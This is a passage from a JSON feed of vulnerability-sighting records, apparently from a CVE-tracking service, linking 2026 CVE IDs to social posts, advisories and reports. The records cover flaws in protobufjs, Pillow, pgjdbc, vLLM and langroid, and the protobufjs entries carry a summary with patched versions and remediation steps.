Published : July 4, 2026, 12:45 a.m. | 3\u00a0hours, 2\u00a0minutes ago\n \n Description : An Incorrect Use of Privileged APIs vulnerability in Unity Parsec on Windows hosts leads to a pote...", "creation_timestamp": "2026-07-04T04:23:51.179422Z"}, {"uuid": "82ae6613-36dc-4c6c-9ed4-86a236553a3b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54513", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mps7q6nek222", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-54513 \u0432 Jackson Databind: \u0443\u0433\u0440\u043e\u0437\u044b \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/B3329FFB-CFD0-4E60-BE56-51787F0315ED", "creation_timestamp": "2026-07-04T04:24:54.659741Z"}, {"uuid": "a3bd99b8-e0c7-4185-ba1c-01d4f5a9f1af", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54371", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mps7supvqg2d", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0441\u0438\u043c\u043b\u0438\u043d\u043a-\u0442\u0440\u0430\u0432\u0435\u0440\u0441\u0430\u043b\u0430 \u0432 attr \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 2.6.0: \u0430\u043d\u0430\u043b\u0438\u0437 CVE-2026-54371\n\n\n\nhttps://kripta.biz/posts/3224E672-C487-4B5B-9AE5-3A7788798D52", "creation_timestamp": "2026-07-04T04:26:25.668693Z"}, {"uuid": "067ce04a-e56c-46ca-9ec6-b0362f4c6163", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54424", "type": "seen", "source": "https://www.incibe.es/incibe-cert/alerta-temprana/vulnerabilidades/cve-2026-54424", "content": "", "creation_timestamp": "2026-07-04T05:15:04.216661Z"}, {"uuid": "bee51789-cddd-4ecf-9219-30d9de29f8b1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54624", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/e7h75nllkvmwl", "content": "CVE-2026-54624 - django CMS: Structure endpoint bypasses page-view permission\nCVE ID : CVE-2026-54624\n \n Published : Aug. 20, 2026, 7:16 p.m. | 37\u00a0minutes ago\n \n Description : django CMS is an easy-to-use and developer-friendly enterprise content management system powered by D...", "creation_timestamp": "2026-08-20T20:07:19.777052Z"}, {"uuid": "41ab164e-9312-4cd5-b83d-58984c3693ed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54424", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mptgmnyrsc2e", "content": "\ud83d\udfe0 CVE-2026-54424 - High (8.4)\n\nAn Incorrect Use of Privileged APIs vulnerability in Unity Parsec on Windows hosts leads to a pot...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-54424/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-07-04T16:00:53.283676Z"}, {"uuid": "6b9937de-7cda-4410-a3cc-117ad8c3b557", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54121", "type": "seen", "source": "https://bsky.app/profile/newssecia.bsky.social/post/3mtde32ib4f2x", "content": "\ud83e\udd16 CVE-2026-54121 (\"Certighost\"): a standard domain user can gain Domain Controller privileges via a Windows Enterprise CA. Patch your CAs.\n\nhttps://www.bleepingcomputer.com/news/security/certighost-and-the-privilege-hiding-in-your-certificate-authority/", "creation_timestamp": "2026-08-18T04:13:25.356019Z"}, {"uuid": "43aa16bb-a1cd-47ef-99a1-0c0da17bd7d0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54900", "type": "published-proof-of-concept", "source": "Telegram/Ux0Srfv4G3zHF3MG_EHSnP5GOba0EJzABgxiD6ZSq_lILU0", "content": "", "creation_timestamp": "2026-08-07T00:17:18.447360Z"}, {"uuid": "f2055f72-8a16-43bd-ba2c-4f9cb1b1069b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54269", "type": "seen", "source": "https://gist.github.com/alon710/85679449cb8fbdc65386d384f1841a0e", "content": "# CVE-2026-54269: CVE-2026-54269: Runtime Property Shadowing and Denial of Service in protobufjs\n\n> **CVSS Score:** 5.3\n> **Published:** 2026-06-22\n> **Full Report:** https://cvereports.com/reports/CVE-2026-54269\n\n## Summary\nA property shadowing vulnerability exists in protobufjs where schema-derived names can collide with and overwrite runtime-critical internal helper properties. This issue leads to uncaught runtime exceptions and crash-based Denial of Service.\n\n## TL;DR\nUntrusted protobuf schemas can define fields matching internal properties (such as 'hasOwnProperty' or 'rpcCall'), triggering uncaught runtime exceptions that crash the execution thread (Denial of Service).\n\n## Exploit Status: POC\n\n## Technical Details\n\n- **CWE ID**: CWE-754, CWE-674\n- **Attack Vector**: Network\n- **CVSS Score**: 5.3 (Medium)\n- **EPSS Score**: 0.0024 (Percentile: 14.70%)\n- **Impact**: Denial of Service (DoS)\n- **Exploit Status**: Proof of Concept available\n- **KEV Status**: Not listed\n\n## Affected Systems\n\n- protobufjs\n- protobufjs-cli\n- **protobufjs**: < 7.6.3 (Fixed in: `7.6.3`)\n- **protobufjs**: >= 8.0.0, < 8.6.0 (Fixed in: `8.6.0`)\n- **protobufjs-cli**: < 1.3.3 (Fixed in: `1.3.3`)\n- **protobufjs-cli**: >= 2.0.0, < 2.5.1 (Fixed in: `2.5.1`)\n\n## Mitigation\n\n- Upgrade the dependency package to a patched release version.\n- Establish strict schema validation rules to filter out conflict-prone property names.\n- Ensure process management tools are configured to restart terminated nodes automatically.\n\n**Remediation Steps:**\n1. Locate and review package.json configurations for protobufjs and protobufjs-cli.\n2. Update protobufjs to 7.6.3 or 8.6.0 depending on the active major version.\n3. Update protobufjs-cli to 1.3.3 or 2.5.1 to secure static code generation.\n4. Regenerate any pre-compiled JavaScript static schema files using the updated CLI.\n5. Deploy runtime validation logic to reject schema definitions containing the strings 'hasOwnProperty' or 'rpcCall'.\n\n## References\n\n- [GitHub Security Advisory (GHSA-f38q-mgvj-vph7)](https://github.com/protobufjs/protobuf.js/security/advisories/GHSA-f38q-mgvj-vph7)\n- [NVD CVE Record (CVE-2026-54269)](https://nvd.nist.gov/vuln/detail/CVE-2026-54269)\n- [CVE.org CVE Record (CVE-2026-54269)](https://www.cve.org/CVERecord?id=CVE-2026-54269)\n- [Pull Request #2311: Avoid shadowing prototype properties](https://github.com/protobufjs/protobuf.js/pull/2311)\n\n\n---\n*Generated by [CVEReports](https://cvereports.com/reports/CVE-2026-54269) - Automated Vulnerability Intelligence*", "creation_timestamp": "2026-07-06T07:58:49.203850Z"}, {"uuid": "e42d37d1-c7af-45a8-85ec-326cda7c35af", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54269", "type": "seen", "source": "https://gist.github.com/alon710/e1c58c0e5e300cd65a71e5b861eaf325", "content": "# CVE-2026-54269: CVE-2026-54269: Runtime Property Shadowing and Denial of Service in protobufjs\n\n> **CVSS Score:** 5.3\n> **Published:** 2026-06-22\n> **Full Report:** https://cvereports.com/reports/CVE-2026-54269\n\n## Summary\nA property shadowing vulnerability exists in protobufjs where schema-derived names can collide with and overwrite runtime-critical internal helper properties. This issue leads to uncaught runtime exceptions and crash-based Denial of Service.\n\n## TL;DR\nUntrusted protobuf schemas can define fields matching internal properties (such as 'hasOwnProperty' or 'rpcCall'), triggering uncaught runtime exceptions that crash the execution thread (Denial of Service).\n\n## Exploit Status: POC\n\n## Technical Details\n\n- **CWE ID**: CWE-754, CWE-674\n- **Attack Vector**: Network\n- **CVSS Score**: 5.3 (Medium)\n- **EPSS Score**: 0.0024 (Percentile: 14.70%)\n- **Impact**: Denial of Service (DoS)\n- **Exploit Status**: Proof of Concept available\n- **KEV Status**: Not listed\n\n## Affected Systems\n\n- protobufjs\n- protobufjs-cli\n- **protobufjs**: < 7.6.3 (Fixed in: `7.6.3`)\n- **protobufjs**: >= 8.0.0, < 8.6.0 (Fixed in: `8.6.0`)\n- **protobufjs-cli**: < 1.3.3 (Fixed in: `1.3.3`)\n- **protobufjs-cli**: >= 2.0.0, < 2.5.1 (Fixed in: `2.5.1`)\n\n## Mitigation\n\n- Upgrade the dependency package to a patched release version.\n- Establish strict schema validation rules to filter out conflict-prone property names.\n- Ensure process management tools are configured to restart terminated nodes automatically.\n\n**Remediation Steps:**\n1. Locate and review package.json configurations for protobufjs and protobufjs-cli.\n2. Update protobufjs to 7.6.3 or 8.6.0 depending on the active major version.\n3. Update protobufjs-cli to 1.3.3 or 2.5.1 to secure static code generation.\n4. Regenerate any pre-compiled JavaScript static schema files using the updated CLI.\n5. Deploy runtime validation logic to reject schema definitions containing the strings 'hasOwnProperty' or 'rpcCall'.\n\n## References\n\n- [GitHub Security Advisory (GHSA-f38q-mgvj-vph7)](https://github.com/protobufjs/protobuf.js/security/advisories/GHSA-f38q-mgvj-vph7)\n- [NVD CVE Record (CVE-2026-54269)](https://nvd.nist.gov/vuln/detail/CVE-2026-54269)\n- [CVE.org CVE Record (CVE-2026-54269)](https://www.cve.org/CVERecord?id=CVE-2026-54269)\n- [Pull Request #2311: Avoid shadowing prototype properties](https://github.com/protobufjs/protobuf.js/pull/2311)\n\n\n---\n*Generated by [CVEReports](https://cvereports.com/reports/CVE-2026-54269) - Automated Vulnerability Intelligence*", "creation_timestamp": "2026-07-06T07:59:30.626821Z"}, {"uuid": "836b0551-06fe-4ff1-aee2-b5fcaa985a73", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54696", "type": "seen", "source": "https://bsky.app/profile/selfhost.directory/post/3mpxp77o4qh2i", "content": "\ud83d\ude80 New #release \u00b7 fizzy fizzy@90a244a\n\nWhat's Changed\n\u2022 Add fizzy_solid_cache_* metrics via vendored Yabeda exporter by @rosa in #2958\n\u2022 Bump json to 2.20.0 (CVE-2026-54696) by @rosa in #2962\nF\u2026\n\nCheck and #self-host it \u2192 selfhost.directory/project/fizzy#update-2781027\n\n#selfhost #selfhosted #homelab", "creation_timestamp": "2026-07-06T08:45:04.820622Z"}, {"uuid": "25518e06-194d-43d3-b623-e89d41fd9b09", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54696", "type": "seen", "source": "https://bsky.app/profile/lambdawatchdog.bsky.social/post/3mpy25hakdu25", "content": "\n\ud83d\udea8 New LOW CVE detected in AWS Lambda \ud83d\udea8\nCVE-2026-54696 impacts json in 3 Lambda base images.\n\nDetails: https://github.com/aws/aws-lambda-base-images/issues/587\nMore: https://lambdawatchdog.com/\n\n#AWS #Lambda #CVE #CloudSecurity #Serverless", "creation_timestamp": "2026-07-06T12:00:55.874257Z"}, {"uuid": "46dbfedd-4e0d-45a8-b046-d6665106b9dc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54789", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mtmafa7lrx22", "content": "\ud83d\udfe0 CVE-2026-54789 - High (7.5)\n\nmod_auth_openidc is an OpenID Certified authentication and authorization module for the Apache 2....\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-54789/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-08-21T17:01:29.886166Z"}, {"uuid": "5afcb99d-2d0d-43cb-b6e2-56366cc801e4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54291", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mpyaapk5fs2o", "content": "\ud83d\udd17 CVE : CVE-2026-54291", "creation_timestamp": "2026-07-06T13:50:07.862324Z"}, {"uuid": "21b73c46-025a-426d-b456-44b9fdf3ee19", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54432", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mpyab3woyr2p", "content": "\ud83d\udd17 CVE : CVE-2026-54432, CVE-2026-54433", "creation_timestamp": "2026-07-06T13:50:20.793335Z"}, {"uuid": "e9a2757a-1842-474a-a732-b3f78a134edd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54433", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mpyab3woyr2p", "content": "\ud83d\udd17 CVE : CVE-2026-54432, CVE-2026-54433", "creation_timestamp": "2026-07-06T13:50:20.838129Z"}, {"uuid": "84892114-ff0d-4348-9970-4af04f04b1c7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54893", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mpyjqv6pcp2z", "content": "CVE-2026-54893 - Email-derived URL path injection in the Swoosh Microsoft Graph adapter\nCVE ID : CVE-2026-54893\n \n Published : July 6, 2026, 3:16 p.m. | 31\u00a0minutes ago\n \n Description : URL path injection in the Microsoft Graph adapter of Swoosh. Swoosh.Adapters.MsGraph builds ...", "creation_timestamp": "2026-07-06T16:40:14.456635Z"}, {"uuid": "a06530ad-2f55-4b2c-969d-0fb7365b5225", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54636", "type": "seen", "source": "https://bsky.app/profile/smit-artem.bsky.social/post/3mpyp46ghoh2j", "content": "Heads up: an important security fix just landed for Dokku. Open its settings and let it update. A couple of taps now keeps your data safer. CVE-2026-54636", "creation_timestamp": "2026-07-06T18:16:01.777376Z"}, {"uuid": "39b47efa-7bfb-441c-b459-13aee2efc2db", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54291", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mpywxzrvi324", "content": "CVE-2026-54291 - Silent channel-binding authentication downgrade via unsupported certificate algorithms\nCVE ID : CVE-2026-54291\n \n Published : July 6, 2026, 7:17 p.m. | 31\u00a0minutes ago\n \n Description : pgjdbc is an open source postgresql JDBC Driver. In releases 42.7.4 through ...", "creation_timestamp": "2026-07-06T20:36:52.988601Z"}, {"uuid": "e5155f75-2c17-41f5-935f-531acb44f35d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54060", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mpyxay7yvu24", "content": "CVE-2026-54060 - Pillow: `FontFile.compile()`: `Image.new()` called without `_decompression_bomb_check()`\nCVE ID : CVE-2026-54060\n \n Published : July 6, 2026, 7:17 p.m. | 31\u00a0minutes ago\n \n Description : Pillow is a Python imaging library. Prior to 12.3.0, PIL/FontFile.py FontF...", "creation_timestamp": "2026-07-06T20:41:53.348950Z"}, {"uuid": "58e7b367-f8d7-444f-831b-a7dda7cf2fdc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54760", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mpyzx77jwz2l", "content": "CVE-2026-54760 - langroid\nA security flaw in PostgreSQL's SQLChatAgent allows hackers to bypass safety checks and execute malicious queries. This can lead to unauthorized access to sensitive data. To fix this\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#langroid #pip #CVE #infosec", "creation_timestamp": "2026-07-06T21:30:06.170592Z"}, {"uuid": "79183189-b43b-4c86-bbb6-30e757f799b2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54769", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mpz22qfgd22g", "content": "CVE-2026-54769 - langroid\nLangroid's TableChatAgent is vulnerable to a critical security flaw that allows attackers to execute unauthorized code on the host system. This means an attacker could potentially take\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#langroid #pip #CVE #infosec", "creation_timestamp": "2026-07-06T21:32:04.606206Z"}, {"uuid": "ed8b8e84-2fa8-4004-ad38-a891fa503882", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54496", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mpz2fiw6dh2r", "content": "CVE-2026-54496 - zebrad\nA vulnerability in the Zcash 'Orchard' system allows a malicious user to spend the same note multiple times, creating fake transactions that can't be detected. This means a user could\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#zebrad #rust #CVE #infosec", "creation_timestamp": "2026-07-06T21:38:05.876735Z"}, {"uuid": "8e7552cc-45a0-4541-971f-e52c048eb328", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54998", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mpzohhh3fs2a", "content": "\ud83d\udccc CVE-2026-54998 - Incorrect authorization in Microsoft Exchange Online allows an authorized attacker to elevate privileges over a network. https://www.cyberhub.blog/cves/CVE-2026-54998", "creation_timestamp": "2026-07-07T03:37:07.466644Z"}, {"uuid": "73fd2011-1a8b-4b71-8939-84379e3cfaba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54637", "type": "published-proof-of-concept", "source": "https://github.com/dragonflyoss/dragonfly/security/advisories/GHSA-chwm-m7g7-685g", "content": "", "creation_timestamp": "2026-07-06T22:35:14.091119Z"}, {"uuid": "d4a50830-8adc-4928-8636-e887d5b39f1f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54640", "type": "published-proof-of-concept", "source": "https://github.com/openremote/openremote/security/advisories/GHSA-7v6w-c3f4-9wpq", "content": "", "creation_timestamp": "2026-07-06T22:35:16.289719Z"}, {"uuid": "426242ca-36e7-48da-a9ca-51bb7d6a7373", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54641", "type": "published-proof-of-concept", "source": "https://github.com/openremote/openremote/security/advisories/GHSA-xqr9-4wvv-gvch", "content": "", "creation_timestamp": "2026-07-06T22:35:18.508926Z"}, {"uuid": "d4fe6051-bbdf-4b35-8952-01dff5df916f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54771", "type": "published-proof-of-concept", "source": "https://github.com/langroid/langroid/security/advisories/GHSA-gjgq-w2m6-wr5q", "content": "", "creation_timestamp": "2026-07-06T22:35:22.917345Z"}, {"uuid": "d86480c4-1b6c-451e-88e4-7383b2c60360", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54769", "type": "published-proof-of-concept", "source": "https://github.com/langroid/langroid/security/advisories/GHSA-q9p7-wqxg-mrhc", "content": "", "creation_timestamp": "2026-07-06T22:35:25.116138Z"}, {"uuid": "49dc5e3d-1b08-4978-bc98-16d343a46373", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54709", "type": "published-proof-of-concept", "source": "https://github.com/dragonflyoss/dragonfly/security/advisories/GHSA-fhf9-m53m-863g", "content": "", "creation_timestamp": "2026-07-06T22:35:29.592913Z"}, {"uuid": "0a2cdc97-6580-4962-b031-794c91c05a2d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54060", "type": "seen", "source": "https://bsky.app/profile/hugovalters.bsky.social/post/3mpztpioixl27", "content": "CVE-2026-54060 - Supply chain attack in Pillow Python imaging library. FontFile.compile() bypasses decompression bomb check, enabling excessive memory allocation. CVSS 7.5. Update to Pillow 12.3.0 immediately. #CVE #infosec #Python\n\nhttps://www.valtersit.com/cve/CVE-2026-54060/", "creation_timestamp": "2026-07-07T05:11:05.042744Z"}, {"uuid": "2327c6f1-08bd-4f2f-85f3-adddecd210a0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54891", "type": "seen", "source": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3mq26w54lre2j", "content": "CVE-2026-54891 Lacks Crucial Details to Justify Alarm Over TLS Vulnerability #CVE2026 #TLSVulnerability #CyberSecurity", "creation_timestamp": "2026-07-07T08:31:39.675278Z"}, {"uuid": "ec27d454-1aff-4d58-807e-5d54a80016a9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54891", "type": "seen", "source": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3mq26wagb4w2o", "content": "CVE-2026-54891: Should Organizations Prioritize Immediate Patch or Containment Strategy? #CyberSecurity #Vulnerability #TLS", "creation_timestamp": "2026-07-07T08:31:43.070855Z"}, {"uuid": "388f06b7-82c5-4905-b11a-dccce2e656e9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54891", "type": "seen", "source": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3mq26vm5b4i22", "content": "CVE-2026-54891: Plaintext SSL Data Injection Is a Breach Waiting to Happen #CVE2026 #Cybersecurity #DataProtection", "creation_timestamp": "2026-07-07T08:31:21.660709Z"}, {"uuid": "ad17d177-a3b7-4fb7-9fa5-93839be0b2b6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54891", "type": "seen", "source": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3mq26vsc6qn22", "content": "CVE-2026-54891: TLS Handshake Vulnerability Exposes Plaintext Data to Attackers #CyberSecurity #TLS #Vulnerability", "creation_timestamp": "2026-07-07T08:31:27.952428Z"}, {"uuid": "6f308085-e19c-4376-87ec-fdc6795768a0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54891", "type": "seen", "source": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3mq26vvzs5u2k", "content": "CVE-2026-54891 Exposes Serious Risks in TLS Handshake Data Processing #Cybersecurity #TLS #CVE2026", "creation_timestamp": "2026-07-07T08:31:31.903210Z"}, {"uuid": "a6023f3a-571b-40f9-9794-4bd4798b2d21", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54891", "type": "seen", "source": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3mq26vzi54h27", "content": "CVE-2026-54891: TLS Handshake Vulnerability Highlights Plaintext Risks #CyberSecurity #TLS #DataProtection", "creation_timestamp": "2026-07-07T08:31:35.596222Z"}, {"uuid": "9516d3bc-8a8f-4974-a559-7921e8e3bd01", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54234", "type": "seen", "source": "https://bsky.app/profile/hugovalters.bsky.social/post/3mq2rebevqb2j", "content": "CVE-2026-54234 - High-severity DoS in vLLM. Multi-request speculative decoding triggers out-of-vocabulary token crash. CVSS 7.5. No patch yet - update to v0.24.0+ immediately. #CVE #vLLM #infosec\n\nhttps://www.valtersit.com/cve/CVE-2026-54234/", "creation_timestamp": "2026-07-07T14:01:40.315362Z"}, {"uuid": "681bf181-a506-48a9-94ce-f8201a601bfa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "c933734a-9be8-4142-889e-26e95c752803", "vulnerability": "CVE-2026-54409", "type": "seen", "source": "https://vulnerability.circl.lu/bundle/ebad18a5-251f-49a4-b877-c63995fd13a6", "content": "", "creation_timestamp": "2026-07-08T11:01:21.496106Z"}, {"uuid": "039d7dc3-2b6f-49ac-aa7d-5f24db062e51", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "c933734a-9be8-4142-889e-26e95c752803", "vulnerability": "CVE-2026-54401", "type": "seen", "source": "https://vulnerability.circl.lu/bundle/ebad18a5-251f-49a4-b877-c63995fd13a6", "content": "", "creation_timestamp": "2026-07-08T11:01:21.496106Z"}, {"uuid": "2504ab30-efa1-489a-b400-83d44f91f899", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "c933734a-9be8-4142-889e-26e95c752803", "vulnerability": "CVE-2026-54404", "type": "seen", "source": "https://vulnerability.circl.lu/bundle/ebad18a5-251f-49a4-b877-c63995fd13a6", "content": "", "creation_timestamp": "2026-07-08T11:01:21.496106Z"}, {"uuid": "74dda712-5ebb-4d31-b357-9b90bd3a315f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "c933734a-9be8-4142-889e-26e95c752803", "vulnerability": "CVE-2026-54402", "type": "seen", "source": "https://vulnerability.circl.lu/bundle/ebad18a5-251f-49a4-b877-c63995fd13a6", "content": "", "creation_timestamp": "2026-07-08T11:01:21.496106Z"}, {"uuid": "bfd209b4-8f29-4944-a089-1d44906ed1d5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "c933734a-9be8-4142-889e-26e95c752803", "vulnerability": "CVE-2026-54405", "type": "seen", "source": "https://vulnerability.circl.lu/bundle/ebad18a5-251f-49a4-b877-c63995fd13a6", "content": "", "creation_timestamp": "2026-07-08T11:01:21.496106Z"}, {"uuid": "f9ee6130-d730-4d2d-825b-73ffdb9ff753", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "c933734a-9be8-4142-889e-26e95c752803", "vulnerability": "CVE-2026-54406", "type": "seen", "source": "https://vulnerability.circl.lu/bundle/ebad18a5-251f-49a4-b877-c63995fd13a6", "content": "", "creation_timestamp": "2026-07-08T11:01:21.496106Z"}, {"uuid": "9648ab00-49ba-45df-8c69-6b9831901ea8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "c933734a-9be8-4142-889e-26e95c752803", "vulnerability": "CVE-2026-54403", "type": "seen", "source": "https://vulnerability.circl.lu/bundle/ebad18a5-251f-49a4-b877-c63995fd13a6", "content": "", "creation_timestamp": "2026-07-08T11:01:21.496106Z"}, {"uuid": "29c9ac1e-9fcd-4522-8754-c14755301f53", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "c933734a-9be8-4142-889e-26e95c752803", "vulnerability": "CVE-2026-54400", "type": "seen", "source": "https://vulnerability.circl.lu/bundle/ebad18a5-251f-49a4-b877-c63995fd13a6", "content": "", "creation_timestamp": "2026-07-08T11:01:21.496106Z"}, {"uuid": "d56acc8d-6507-4903-a9ba-c3ba9644c2d8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "c933734a-9be8-4142-889e-26e95c752803", "vulnerability": 